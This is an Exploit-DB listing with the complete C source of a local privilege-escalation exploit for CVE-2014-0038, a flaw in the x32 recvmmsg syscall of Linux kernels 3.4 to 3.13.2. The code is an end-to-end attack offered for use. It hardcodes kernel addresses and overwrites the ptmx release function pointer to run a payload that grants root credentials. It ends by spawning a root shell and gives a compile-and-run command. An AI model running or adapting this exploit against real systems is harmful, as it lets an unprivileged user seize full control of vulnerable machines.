Linux Kernel 3.4 < 3.13.2 (Ubuntu 13.10) - 'CONFIG_X86_X32' Arbitrary Write (2)

  • 作者: saelo
    日期: 2014-02-02
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/31346/
  • /*
     * Local root exploit for CVE-2014-0038.
     *
     * https://raw.github.com/saelo/cve-2014-0038/master/timeoutpwn.c
     *
     * Bug: The X86_X32 recvmmsg syscall does not properly sanitize the timeout pointer
     * passed from userspace.
     *
     * Exploit primitive: Pass a pointer to a kernel address as timeout for recvmmsg,
     * if the original byte at that address is known it can be overwritten
     * with known data.
     * If the least significant byte is 0xff, waiting 255 seconds will turn it into a 0x00.
     *
     * Restrictions: The first long at the passed address (tv_sec) has to be positive
     * and the second long (tv_nsec) has to be smaller than 1000000000.
     *
     * Overview: Target the release function pointer of the ptmx_fops structure located in
     * non initialized (and thus writable) kernel memory. Zero out the three most
     * significant bytes and thus turn it into a pointer to an address mappable in
     * user space.
     * The release pointer is used as it is followed by 16 0x00 bytes (so the tv_nsec
     * is valid).
     * Open /dev/ptmx, close it and enjoy.
     *
     * Not very beautiful but should be fairly reliable if symbols can be resolved.
     *
     * Tested on Ubuntu 13.10
     *
     * gcc timeoutpwn.c -o pwn && ./pwn
     *
     * Written by saelo
     */
    #define _GNU_SOURCE
    #include <netinet/ip.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <time.h>
    #include <string.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <sys/socket.h>
    #include <sys/stat.h>
    #include <sys/syscall.h>
    #include <sys/wait.h>
    #include <sys/mman.h>
    
    #define __X32_SYSCALL_BIT 0x40000000
    #undef __NR_recvmmsg
    #define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
    
    #define BUFSIZE 200
    #define PAYLOADSIZE 0x2000
    #define FOPS_RELEASE_OFFSET 13*8
    
    /*
     * Adapt these addresses for your need.
     * see /boot/System.map* or /proc/kallsyms
     * These are the offsets from ubuntu 3.11.0-12-generic.
     */
    #define PTMX_FOPS 0xffffffff81fb30c0LL
    #define TTY_RELEASE 0xffffffff8142fec0LL
    #define COMMIT_CREDS0xffffffff8108ad40LL
    #define PREPARE_KERNEL_CRED 0xffffffff8108b010LL
    
    typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
    typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
    
    /*
     * Match signature of int release(struct inode*, struct file*).
     *
     * See here: http://grsecurity.net/~spender/exploits/enlightenment.tgz
     */
    int __attribute__((regparm(3)))
    kernel_payload(void* foo, void* bar)
    {
    _commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
    _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;
    
    *((int*)(PTMX_FOPS + FOPS_RELEASE_OFFSET + 4)) = -1;// restore pointer
    commit_creds(prepare_kernel_cred(0));
    
    return -1;
    }
    
    /*
     * Write a zero to the byte at then given address.
     * Only works if the current value is 0xff.
     */
    void zero_out(long addr)
    {
    int sockfd, retval, port, pid, i;
    struct sockaddr_in sa;
    char buf[BUFSIZE];
    struct mmsghdr msgs;
    struct iovec iovecs;
    
    srand(time(NULL));
    
    port = 1024 + (rand() % (0x10000 - 1024));
    
    sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    if (sockfd == -1) {
    perror("socket()");
    exit(EXIT_FAILURE);
    }
    
    sa.sin_family= AF_INET;
    sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    sa.sin_port= htons(port);
    if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
    perror("bind()");
    exit(EXIT_FAILURE);
    }
    
    memset(&msgs, 0, sizeof(msgs));
    iovecs.iov_base = buf;
    iovecs.iov_len= BUFSIZE;
    msgs.msg_hdr.msg_iov= &iovecs;
    msgs.msg_hdr.msg_iovlen = 1;
    
    /*
     * start a seperate process to send a udp message after 255 seconds so the syscall returns,
     * but not after updating the timout struct and writing the remaining time into it.
     * 0xff - 255 seconds = 0x00
     */
    printf("clearing byte at 0x%lx\n", addr);
    pid = fork();
    if (pid == 0) {
    memset(buf, 0x41, BUFSIZE);
    
    if ((sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
    perror("socket()");
    exit(EXIT_FAILURE);
    }
    
    sa.sin_family= AF_INET;
    sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    sa.sin_port= htons(port);
    
    printf("waiting 255 seconds...\n");
    for (i = 0; i < 255; i++) {
    if (i % 10 == 0)
    printf("%is/255s\n", i);
    sleep(1);
    }
    
    printf("waking up parent...\n");
    sendto(sockfd, buf, BUFSIZE, 0, &sa, sizeof(sa));
    exit(EXIT_SUCCESS);
    } else if (pid > 0) {
    retval = syscall(__NR_recvmmsg, sockfd, &msgs, 1, 0, (void*)addr);
    if (retval == -1) {
    printf("address can't be written to, not a valid timespec struct\n");
    exit(EXIT_FAILURE);
    }
    waitpid(pid, 0, 0);
    printf("byte zeroed out\n");
    } else {
    perror("fork()");
    exit(EXIT_FAILURE);
    }
    }
    
    int main(int argc, char** argv)
    {
    long code, target;
    int pwn;
    
    /* Prepare payload... */
    printf("preparing payload buffer...\n");
    code = (long)mmap((void*)(TTY_RELEASE & 0x000000fffffff000LL), PAYLOADSIZE, 7, 0x32, 0, 0);
    memset((void*)code, 0x90, PAYLOADSIZE);
    code += PAYLOADSIZE - 1024;
    memcpy((void*)code, &kernel_payload, 1024);
    
    /*
     * Now clear the three most significant bytes of the fops pointer
     * to the release function.
     * This will make it point into the memory region mapped above.
     */
    printf("changing kernel pointer to point into controlled buffer...\n");
    target = PTMX_FOPS + FOPS_RELEASE_OFFSET;
    zero_out(target + 7);
    zero_out(target + 6);
    zero_out(target + 5);
    
    /* ... and trigger. */
    printf("releasing file descriptor to call manipulated pointer in kernel mode...\n");
    pwn = open("/dev/ptmx", 'r');
    close(pwn);
    
    if (getuid() != 0) {
    printf("failed to get root :(\n");
    exit(EXIT_FAILURE);
    }
    
    printf("got root, enjoy :)\n");
    return execl("/bin/bash", "-sh", NULL);
    }